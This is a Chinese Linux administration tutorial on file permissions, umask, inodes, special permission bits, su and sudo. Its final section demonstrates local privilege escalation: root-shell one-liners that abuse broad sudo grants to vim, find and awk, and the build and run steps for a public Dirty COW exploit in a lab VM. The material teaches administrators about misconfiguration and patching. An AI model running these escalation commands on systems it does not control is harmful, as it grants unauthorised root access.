	systemctl set-default multi-user.target  #设置默认运行级别为命令行
1
2
3
4
5
6
7

2.24.3 单用户模式修改密码

## 平时用不到，用到的时候网上搜一下即可
1

2.24.4 权限掩码

## 查看掩码值
umask
[root@localhost ~]# umask
	0022
    
## 这个值就决定着我们创建文件的初始权限，比如我们创建个目录和文件，如下
    [root@localhost ~]# mkdir jaden
    [root@localhost ~]# touch wulaoban.txt
    [root@localhost ~]# ll -h
        总用量 4.0K
        -rw-------. 1 root root 1.3K 3月  15 20:14 anaconda-ks.cfg
        drwxr-xr-x  2 root root    6 3月  27 09:29 jaden
        -rw-r--r--  1 root root    0 3月  27 09:29 wulaoban.txt
# 可以看到，目录的初始权限为755，文件的初始权限为644。这些权限都是通过umask掩码计算得来的。
# 文件权限计算：0666-0022 = 0644
# 目录权限计算：0777-0022 = 0755

## 我们还可以修改掩码值来控制初始文件和文件夹的权限：
    #修改文件vim /etc/profile，找到umask来修改
        root     默认权限掩码 022  
        普通用户 默认权限掩码 002
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

比如我们先修改一下root的权限掩码，改为044先看看效果。

保存退出，然后重新登录一下就生效了，再看umask的值

再次创建文件，看一下初始权限。

[root@localhost ~]# touch wu1.txt
[root@localhost ~]# mkdir ja1
[root@localhost ~]# ll -h 
    总用量 4.0K
    -rw-------. 1 root root 1.3K 3月  15 20:14 anaconda-ks.cfg
    drwx-wx-wx  2 root root    6 3月  27 09:38 ja1
    drwxr-xr-x  2 root root    6 3月  27 09:29 jaden
    -rw--w--w-  1 root root    0 3月  27 09:37 wu1.txt
    -rw-r--r--  1 root root    0 3月  27 09:29 wulaoban.txt
    
# 可以看到，文件初始权限为：0666-0044=0622，目录的初始权限为：0777-0044=0733
# 所以通过修改掩码可以控制文件和目录的初始权限值。
1
2
3
4
5
6
7
8
9
10
11
12

我们将掩码再改回去：

再来看一下普通用户的，先创建个普通用户。

[root@localhost ~]# id jaden
	id: jaden: no such user
[root@localhost ~]# useradd jaden
[root@localhost ~]# passwd jaden #密码设置的是123
    更改用户 jaden 的密码 。
    新的 密码：
    无效的密码： 密码少于 8 个字符
    重新输入新的 密码：
    passwd：所有的身份验证令牌已经成功更新。
[root@localhost ~]# id jaden
	uid=1000(jaden) gid=1000(jaden) 组=1000(jaden)
[root@localhost ~]#
1
2
3
4
5
6
7
8
9
10
11
12

然后普通用户登录一下，创建目录和文件夹，看看默认权限

[jaden@localhost ~]$ umask
	0002
[jaden@localhost ~]$ mkdir jaden
[jaden@localhost ~]$ touch jaden.txt
[jaden@localhost ~]$ ll -h
    总用量 0
    drwxrwxr-x 2 jaden jaden 6 3月  27 09:44 jaden
    -rw-rw-r-- 1 jaden jaden 0 3月  27 09:44 jaden.txt
# 目录权限为: 0777-0002 = 0775
# 文件权限为: 0666-0002 = 0664
1
2
3
4
5
6
7
8
9
10

修改普通用户的掩码值，注意，用root用户修改下面这个配置文件，因为普通用户没有权限修改，修改

umask值的时候尽量改为偶数：

然后普通用户重新登录一下，再看效果

[jaden@localhost ~]$ umask
	0004
[jaden@localhost ~]$ mkdir jaden2
[jaden@localhost ~]$ touch jaden2.txt
[jaden@localhost ~]$ ll -h
    总用量 0
    drwxrwxr-x 2 jaden jaden 6 3月  27 09:44 jaden
    drwxrwx-wx 2 jaden jaden 6 3月  27 09:47 jaden2
    -rw-rw--w- 1 jaden jaden 0 3月  27 09:48 jaden2.txt
    -rw-rw-r-- 1 jaden jaden 0 3月  27 09:44 jaden.txt
# 目录权限为: 0777-0004 = 0773
# 文件权限为: 0666-0004 = 0662
1
2
3
4
5
6
7
8
9
10
11
12

## 为了让系统安全性高一些，有些系统一上来就改掩码，将默认权限设置的很低，但是权限低意味着有些操作就受限，所以也会多一些麻烦，这个就看企业需求了，好，权限掩码就说这么多。
1

2.24.5 inode和block

## inode ：存储除文件名以外的属性，比如文件路径，inode全称index node，索引节点的意思。索引主要是用于方便我们进行文件查找的。我们也叫它为目录文件。

## block： 存储文件的内容。

[jaden@localhost ~]$ df -h #查看硬盘空间
文件系统       容量 已用 可用 已用% 挂载点
devtmpfs       980M     0 980M    0% /dev
tmpfs           991M     0 991M    0% /dev/shm
tmpfs           991M  9.6M 981M    1% /run
tmpfs           991M     0 991M    0% /sys/fs/cgroup
/dev/sda1       100G  2.0G   98G    2% /
tmpfs           199M     0 199M    0% /run/user/0
tmpfs           199M     0 199M    0% /run/user/1000
[jaden@localhost ~]$ df -ih  # 查看inode空间
文件系统       Inode 已用(I) 可用(I) 已用(I)% 挂载点
devtmpfs       245K     369   245K       1% /dev
tmpfs           248K       1   248K       1% /dev/shm
tmpfs           248K     707   247K       1% /run
tmpfs           248K      16   248K       1% /sys/fs/cgroup
/dev/sda1       50M     60K     50M       1% /
tmpfs           248K       1   248K       1% /run/user/0
tmpfs           248K       1   248K       1% /run/user/1000

## 可以看到我们的虚拟机，硬盘100G，inode空间为50M，所以其实硬盘会划分两个空间，一个是存数据的空间，一个是存文件索引的空间。每个文件会用多个block块来存储，这个block就类似于windows上我们说的簇，文件数据的最小存放空间单元，每个文件都会有一条目录索引记录到inode空间中，方便以后我们找寻找个文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

## 我们在linux上创建文件的时候，可能会看到一个报错信息： No space left on device ，意思是没有可用空间了。说明要么是硬盘确实存满了，要么是inode空间存满了，如果是inode空间存满了，那么就去删除那些临时文件或者一些无用的空文件、小文件等等来清理inode空间。
1

2.24.5 特殊权限

讲这个的原因是，后期安全课程中有一个叫做提权的概念，可以借助到特殊权限来进行权限提升，让普

通用户能变为root用户。

5-1 suid

### suid，就是某个可执行文件有super超级管理员权限，这个文件普通用户也能用，含有suid的文件，可以让普通用户拥有该文件属主的执行权限，主要针对的是命令文件。比如：

例子1：
## passwd 是用来修改密码的一个命令文件
[root@localhost ~]# passwd jaden  

#看一下passwd文件的权限
    [root@localhost ~]# ll /usr/bin/passwd 
    	-rwsr-xr-x. 1 root root 27856 4月   1 2020 /usr/bin/passwd

# 可以看到ugo权限组合中的u权限rws，这个s其实就是x权限，但是s就是用来标记这个文件是一个具有suid权限的特殊执行文件。由于权限位只有9位，所以特殊权限的执行权限用s代替了x。
# 有执行权限的时候是小写的s，去掉用户的执行权限之后，这个地方是大写的S。如下
    [root@localhost ~]# chmod u-x /usr/bin/passwd 
    [root@localhost ~]# ll /usr/bin/passwd 
    	-rwSr-xr-x. 1 root root 27856 4月   1 2020 /usr/bin/passwd

# 再将执行权限加回来，看效果，又变回了小s
    [root@localhost ~]# ll /usr/bin/passwd 
    	-rwsr-xr-x. 1 root root 27856 4月   1 2020 /usr/bin/passwd
        
# 那么，为什么会给这个文件一个叫做suid的权限呢？这个文件是用来修改密码的执行文件，普通用户是不是也可以修改自己的密码啊，对吧，但是修改密码修改的是/etc/shadow文件内容，看一下/etc/shadow文件权限：
[root@localhost ~]# ll /etc/shadow
---------- 1 root root 768 3月  27 10:45 /etc/shadow

# /etc/shadow文件权限是000，普通用户根本就没有修改这个文件的权限。因为如果普通用户能修改这个文件，那么root用户的密码就能被普通用户修改了，这就很不安全，对吧。但是每次改密码都找root用户，也是很麻烦的，所以普通用户也有自己改密码的需求，这怎么办。比如我们登录一下普通用户，修改一下密码试试
[jaden@localhost ~]$ passwd
    更改用户 jaden 的密码 。
    为 jaden 更改 STRESS 密码。
    （当前）UNIX 密码：   # 普通用户修改密码，必须要输入原来的密码，root用户不需要
    新的 密码：  # 而且密码复杂度要高，比如我设置的是123@qq.com，才行
    无效的密码： 密码少于 8 个字符
    
[jaden@localhost ~]$ passwd
    更改用户 jaden 的密码 。
    为 jaden 更改 STRESS 密码。
    （当前）UNIX 密码：
    新的 密码：
    重新输入新的 密码：
    passwd：所有的身份验证令牌已经成功更新。
# 普通用户修改密码其实比较麻烦，要输入原密码、还要将密码复杂度加高。
# 普通用户也要用passwd修改密码，有这种需求，所以给系统给passwd执行文件了一个特殊权限，就是s。
[root@localhost ~]# ll /usr/bin/passwd 
-rwsr-xr-x. 1 root root 27856 4月   1 2020 /usr/bin/passwd
# 那么普通用户使用这个文件的时候，可以拥有这个文件属主的执行权限，也就是root的x权限。所以我们看到普通用户可以使用passwd来修改自己的密码，这就是suid权限的意思，但是只能修改当前自己的用户密码，而且是用的root身份来执行的，如下，用普通用户修改一下root用户的密码，看看效果
[jaden@localhost ~]$ passwd root
	passwd：只有根用户才能指定用户名。 
# 只有root用户才能指定用户名来修改某个用户的密码，普通用户不能指定用户名，只能修改自己的。
# 如果将passwd文件的s权限去掉了，那么普通用户就没有修改密码的能力了，如下
	[root@localhost ~]# chmod u-s /usr/bin/passwd
    [root@localhost ~]# ll /usr/bin/passwd 
	-rwxr-xr-x. 1 root root 27856 4月   1 2020 /usr/bin/passwd

# 切换到普通给用户修改密码看效果：
    [jaden@localhost ~]$ passwd
        更改用户 jaden 的密码 。
        为 jaden 更改 STRESS 密码。
        （当前）UNIX 密码：
        新的 密码：  # abc.123.xx
        重新输入新的 密码：
        passwd: 鉴定令牌操作错误
# 发现密码修改不了了。因为passwd没有了suid权限。
# 我们把suid权限再给加回去就可以了。
[root@localhost ~]# chmod u+s /usr/bin/passwd 
[root@localhost ~]# ll /usr/bin/passwd 
	-rwsr-xr-x. 1 root root 27856 4月   1 2020 /usr/bin/passwd


## netstat -ltp
# root用户身份运行，结果如下
[root@localhost ~]# netstat -ltp
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       
    PID/Program name    
    tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN     
    1185/sshd           
    tcp        0      0 localhost:smtp          0.0.0.0:*               LISTEN     
    1330/master         
    tcp6       0      0 [::]:ssh               [::]:*                 LISTEN     
    1185/sshd           
    tcp6       0      0 localhost:smtp         [::]:*                 LISTEN     
1330/master

#普通用户运行，结果如下
[jaden@localhost ~]$ netstat -ltp #p参数普通用户不能使用
    (No info could be read for "-p": geteuid()=1000 but you should be root.) # 看到了
    一个报错提示，并且PID数据没显示
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       
    PID/Program name    
    tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN     
    -                   
    tcp        0      0 localhost:smtp          0.0.0.0:*               LISTEN     
    -                   
    tcp6       0      0 [::]:ssh               [::]:*                 LISTEN     
    -                   
    tcp6       0      0 localhost:smtp         [::]:*                 LISTEN     
	-
# 给netstat执行文件加上suid权限
[root@localhost ~]# chmod u+s /usr/bin/netstat 
[root@localhost ~]# ll /usr/bin/netstat 
	-rwsr-xr-x. 1 root root 155008 8月   9 2019 /usr/bin/netstat
#普通用户再运行，就不报错了，而且看到了PID数据
[jaden@localhost ~]$ netstat -ltp
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       
    PID/Program name    
    tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN     
    1185/sshd           
    tcp        0      0 localhost:smtp          0.0.0.0:*               LISTEN     
    1330/master         
    tcp6       0      0 [::]:ssh               [::]:*                 LISTEN     
    1185/sshd           
    tcp6       0      0 localhost:smtp         [::]:*                 LISTEN     
    1330/master
#加上suid权限，就表示普通用户使用这个执行文件的时候，会用root的身份来运行。
#这是suid的作用，但是好多黑客利用它来进行恶意的权限提升。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116

sgid 其他用户，拥有该文件属组的权限 locate 针对命令文件，一般是读取文件，不能用来搞事情，所

以简单了解一下即可。

# 这个sgid，我找了很久，也就找到一个例子，就是这个locate指令。
# 先安装一下locate指令，如果不知道安装哪个软件包，就查询一下yum provides locate
# yum install mlocate.x86_64 -y # 需要用root用户来安装
[root@localhost ~]# locate
	locate: 没有指定任何搜索模式
[root@localhost ~]# touch test.txt
[root@localhost ~]# locate test.txt 
	locate: 无法执行 stat () `/var/lib/mlocate/mlocate.db': 没有那个文件或目录
[root@localhost ~]# ls
	anaconda-ks.cfg jaden jaden2 test.txt wu2.txt wulaoban.txt
[root@localhost ~]# locat wulaoban.txt 
	-bash: locat: 未找到命令
[root@localhost ~]# locate wulaoban.txt 
locate: 无法执行 stat () `/var/lib/mlocate/mlocate.db': 没有那个文件或目录
[root@localhost ~]# updatedb # 更新一下文件路径记录的缓存，就可以通过locate查看到文件的路径了。
[root@localhost ~]# locate wulaoban.txt 
	/root/wulaoban.txt
[root@localhost ~]# ll /var/lib/mlocate/mlocate.db
	-rw-r----- 1 root slocate 1389239 3月  27 13:43 /var/lib/mlocate/mlocate.db
[root@localhost ~]# which locate
	/usr/bin/locate
[root@localhost ~]# ll /usr/bin/locate 
	-rwx--s--x 1 root slocate 40520 4月  11 2018 /usr/bin/locate
[root@localhost ~]# chmod g-x /usr/bin/locate
[root@localhost ~]# ll /usr/bin/locate 
	-rwx--S--x 1 root slocate 40520 4月  11 2018 /usr/bin/locate
[root@localhost ~]# chmod g+x /usr/bin/locate
[root@localhost ~]# ll /usr/bin/locate 
	-rwx--s--x 1 root slocate 40520 4月  11 2018 /usr/bin/locate
#切换到普通用户
[jaden@localhost ~]$ ls
	jaden jaden2 jaden2.txt jaden.txt
[jaden@localhost ~]$ locate jaden.txt  # 普通用户也是在slocate组的，所以可以通过locate查看文件路径
	/home/jaden/jaden.txt
[jaden@localhost ~]$ updatedb
		updatedb: 无法为 `/var/lib/mlocate/mlocate.db' 打开临时文件
[jaden@localhost ~]$ ll /usr/bin/locate 
-rwx--s--x 1 root slocate 40520 4月  11 2018 /usr/bin/locate
# 这个简单了解一下即可。

## sticky 叫做粘滞位，这个是针对目录的权限，很多用户共同使用的目录，实现用户之间不能互相删除改变对方的文件的权限
# 例子：
    [jaden@localhost ~]$ ll /
        总用量 20
        lrwxrwxrwx.   1 root root    7 3月  15 20:10 bin -> usr/bin
        dr-xr-xr-x.   5 root root 4096 3月  15 20:14 boot
        ...
        drwxrwxrwt.  13 root root 4096 3月  27 13:58 tmp  # 可以看到一个权限位是t，所有用户都有
        这个目录的操作权限。
        
# 为什么需要这么个权限呢？我们自行搞一个目录来看效果：
[root@localhost ~]# cd /
[root@localhost /]# mkdir data
[root@localhost /]# chmod 777 data
[root@localhost /]# ll
    总用量 20
    lrwxrwxrwx.   1 root root    7 3月  15 20:10 bin -> usr/bin
    dr-xr-xr-x.   5 root root 4096 3月  15 20:14 boot
    drwxrwxrwx    2 root root    6 3月  27 14:01 data
    drwxr-xr-x   19 root root 3160 3月  27 09:22 dev
        
# 切换到普通用户，去data目录中写入文件
    [jaden@localhost ~]$ cd /data/
    [jaden@localhost data]$ touch jaden.txt
    [jaden@localhost data]$ ls
    	jaden.txt
# 再切换到root下，写文件
    [root@localhost /]# cd data/
    [root@localhost data]# touch root.txt
    [root@localhost data]# ll
        总用量 0
        -rw-rw-r-- 1 jaden jaden 0 3月  27 14:02 jaden.txt
        -rw-r--r-- 1 root root  0 3月  27 14:03 root.txt
# 现在这个data目录的权限是777，所以任意用户都可以往里面写文件。
# 再切换回普通用户，来删除一下root用户创建的root.txt
[jaden@localhost data]$ ll
    总用量 0
    -rw-rw-r-- 1 jaden jaden 0 3月  27 14:02 jaden.txt
    -rw-r--r-- 1 root root  0 3月  27 14:03 root.txt
    [jaden@localhost data]$ rm -rf root.txt 
    [jaden@localhost data]$ ll
    总用量 0
    -rw-rw-r-- 1 jaden jaden 0 3月  27 14:02 jaden.txt
# 删除成功了。这就容易混乱了，不同用户之间的文件都可以互相修改删除等。
# 创建data目录的目的就是让大家共享这个目录，但是不能让用户做一些恶意的操作，比如恶意删除其他用户
创建的文件，那么就可以用到sticky 粘滞位来标记这个目录，如下
[root@localhost data]# chmod o+t /data/
[root@localhost data]# cd ..
[root@localhost /]# ll
    总用量 20
    lrwxrwxrwx.   1 root root    7 3月  15 20:10 bin -> usr/bin
    dr-xr-xr-x.   5 root root 4096 3月  15 20:14 boot
    drwxrwxrwt    2 root root   23 3月  27 14:04 data
    drwxr-xr-x   19 root root 3160 3月  27 09:22 dev
# 此时再用root在data目录中去创建个root.txt文件
[root@localhost /]# cd data/
[root@localhost data]# touch root.txt
[root@localhost data]# ll
    总用量 0
    -rw-rw-r-- 1 jaden jaden 0 3月  27 14:02 jaden.txt
    -rw-r--r-- 1 root root  0 3月  27 14:08 root.txt
# 再切换到普通用户，删除root.txt试试
[jaden@localhost data]$ ll
总用量 0
    -rw-rw-r-- 1 jaden jaden 0 3月  27 14:02 jaden.txt
    -rw-r--r-- 1 root root  0 3月  27 14:08 root.txt
    [jaden@localhost data]$ rm -rf root.txt 
    rm: 无法删除"root.txt": 不允许的操作
# 粘滞位保护了共享目录中，不同用户之间不能互相删除对方的文件。
# /tmp/目录就是这么一个目录。

## 查看 /tmp 目录的权限
[root@localhost data]# stat /tmp
     文件："/tmp"
     大小：4096     块：8         IO 块：4096   目录
    设备：801h/2049d Inode：75         硬链接：13
    权限：(1777/drwxrwxrwt) ... # 1777，这个1就是粘滞位权限的值，suid这个值是4，sgid这个值是2。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117

2.24.6 su和sudo

6-1 su

# su全称：switch user

# root用户可以很方便的切换到任意用户
[root@localhost ~]# su - jaden
	上一次登录：一 3月 27 15:03:29 CST 2023从 192.168.2.110pts/1 上
[jaden@localhost ~]$ ls
	jaden jaden2 jaden2.txt jaden.txt
    
[jaden@localhost ~]$ exit # 退出，又回到root用户了
	登出
[root@localhost ~]# 
# 普通用户切换到root用户，必须输入root密码
[jaden@localhost ~]$ su - root
    密码：  # 需要输入root用户的密码
    上一次登录：一 3月 27 10:48:24 CST 2023从 192.168.2.110pts/0 上
[root@localhost ~]# exit
	登出
[jaden@localhost ~]$ 
# 不带-也是可以的，带-的话，就是切换完用户之后，直接到用户家目录下，不带-就不是家目录。
[jaden@localhost ~]$ su root
	密码：
[root@localhost jaden]# exit	
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

6-2 sudo

## sudo全称：superuser do，它的作用是用来授权的。就是给普通用户高级权限用的。原因就是很多的操作，如果都需要root用户去做，太麻烦了，所以可以给普通用户做一些授权，普通用户操作就方便了。授权就用到了sudo，sudo并不是一下子给用户很多权限，而是一个命令一个命令的授权。

## sudo需要修改配置才能开启。


# root用户才能修改这个配置。
1.配置/etc/sudoers
    # 直接visudo就能编辑这个文件
    [root@localhost ~]# visudo
    #用户名   所有终端 = 运行的用户身份   命令ALL，ALL是所有指令，不能给所有的，不然权限太高了
    #在100行下面添加如下内容
        jaden  ALL=(ALL)       /bin/systemctl,/usr/bin/vim,/usr/sbin/reboot   # 单独给指令
        权限，而且要写指令的绝对路径，逗号分割
    # 修改完配置文件，保存退出之后，立马就生效了，不需要重启或者重新登录。
    #切换到普通用户，查看可以使用的授权命令
    	sudo -l
    [jaden@localhost ~]$ sudo -l
    ## 我们信任您已经从系统管理员那里了解了日常注意事项。
    ## 总结起来无外乎这三点：
        #1) 尊重别人的隐私。
        #2) 输入前要先考虑(后果和风险)。
        #3) 权力越大，责任越大。
    [sudo] jaden 的密码： # 需要输入jaden用户的密码
    匹配 %2$s 上 %1$s 的默认条目：
       !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
        env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", 
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME
       LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION 
    LC_MEASUREMENT LC_MESSAGES",
       env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", 
    env_keep+="LC_TIME LC_ALL LANGUAGE
     LINGUAS _XKB_CHARSET XAUTHORITY", 
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
    用户 jaden 可以在 localhost 上运行以下命令： # 提示可以使用sudo来执行的命令
       (ALL) /bin/systemctl, /usr/bin/vim, /usr/sbin/reboot
    [jaden@localhost ~]$
    
2.使用sudo执行命令
# 授权的命令使用起来和普通指令是不同的，需要使用sudo来执行命令，也就是以授权的方式来执行指令。
# 比如reboot重启
    [jaden@localhost ~]$ sudo reboot
        Connection closing...Socket close.
        Connection closed by foreign host.
...
# 比如重启网卡
# sudo systemctl restart network   #start,stop,restart
# 比如：vim权限
    [jaden@localhost ~]$ vim /etc/shadow
    [jaden@localhost ~]$ sudo vim /etc/shadow 
# 注意，vim的权限很大，比如可以修改密码，可以修改授权配置文件等，甚至root用户的密码都可以修改，所以不要将vim的root权限给普通用户。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

2.24.7 linux普通用户提权

7-1 sudo提权

就是我们进行sudo授权时给的授权太高，或者给授权时控制的不合理，就会被普通用户利用来提权。

示例1：
    vim  # 命令模式执行: !/
         # 通过vim修改/etc/sudoers，授权ALL
         # 再通过vim进入一个文件
         # :输入指令，是可以直接输入系统指令的，前面加一个!即可，比如创建一个文件，!touch 3.txt
         # 查看3.txt信息如下
         [jaden@localhost ~]$ ll
           总用量 0
            -rw-r--r-- 1 root root  0 3月  27 17:05 3.txt  # 以root用户身份创建的文件
         # 如果在vim文件时，执行!/bin/bash，就进入到了root的命令终端，可以为所欲为。
         # 这就是sudo提权，但是sudo提权需要借助到可以执行系统指令的交互式的功能，比如vim。
示例2：
 find # sudo find . -exec bash \; # 直接进入root的命令终端，这个指令退出root终端可能要退好几次才行，看find找到了几个文件，找到了3个文件，就输入三次exit才能退出。find 后面文件名随便写
    
示例3：
 awk  # sudo awk 'BEGIN {system("/bin/bash")}' jaden.txt # 直接进入到root命令终端，exit直接退出。
 
# 还有好多指令可以提权，比如cp命令也可以提权，将其他电脑上的/etc/shadow文件拷贝到这个系统中，密码就改掉了，再su切换到root即可等等，还有什么mv、vi、sed修改文件、chmod改重要文件权限等等这里就不多提了。大家可以试试，普通用户使用sudo来修改shadow文件的root用户的密码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

7-2 脏牛提取

dcow全称dirty cow，脏牛，原理：Linux内核的内存子系统在处理写入时复制（copy-on-write, COW，

组合起来是牛的意思）时产生了竞争条件。恶意用户可利用此漏洞，来获取高权限，对只读内存映射进

行写访问，所以大家都管这个提权方式叫做脏牛提权。原理这一块大家不需要掌握，会监测是否存在这

个漏洞即可。

## 仓库地址：https://github.com/gbonacini/CVE-2016-5195，先下载下来，我也给大家下载好了，在工具文件夹中

# github上对它有介绍，比如哪些版本的系统有这样的漏洞。要某个系统版本和gcc版本同时满足的时候才会有这个漏洞，我们的centos7.8虽然系统版本能对上，但是gcc版本高，对不上，所有没有这个漏洞，不能用这个程序提权，所以我给大家准备了一个虚拟机系统，大家打开直接用来玩玩即可。
1
2
3

如下，双击打开，或者右键选择VMware打开即可

如下，输入用户名和密码即可，root用户的密码是123456，

先创建个普通用户：

然后xshell连接一下主机，用jaden来登录，将脏牛的提权程序上传过来。

好，开始提权。

#上传文件 脏牛提权.zip
unzip 脏牛提权.zip
cd CVE-2016-5195-master/
make                   #编译
./dcow -s              #提权
# 看内核版本，比如我们使用的
[jaden@dms CVE-2016-5195-master]$ cat /etc/redhat-release 
CentOS Linux release 7.2.1511 (Core)
1
2
3
4
5
6
7
8

这就提权完事儿了，如下

## 说明这个系统有这个漏洞，解决这个漏洞就是升级系统或者升级gcc软件版本。也可以用我们的centos7.8自己试试，应该是不能提权。
1

2.24.8 VMware导出OVA和OVF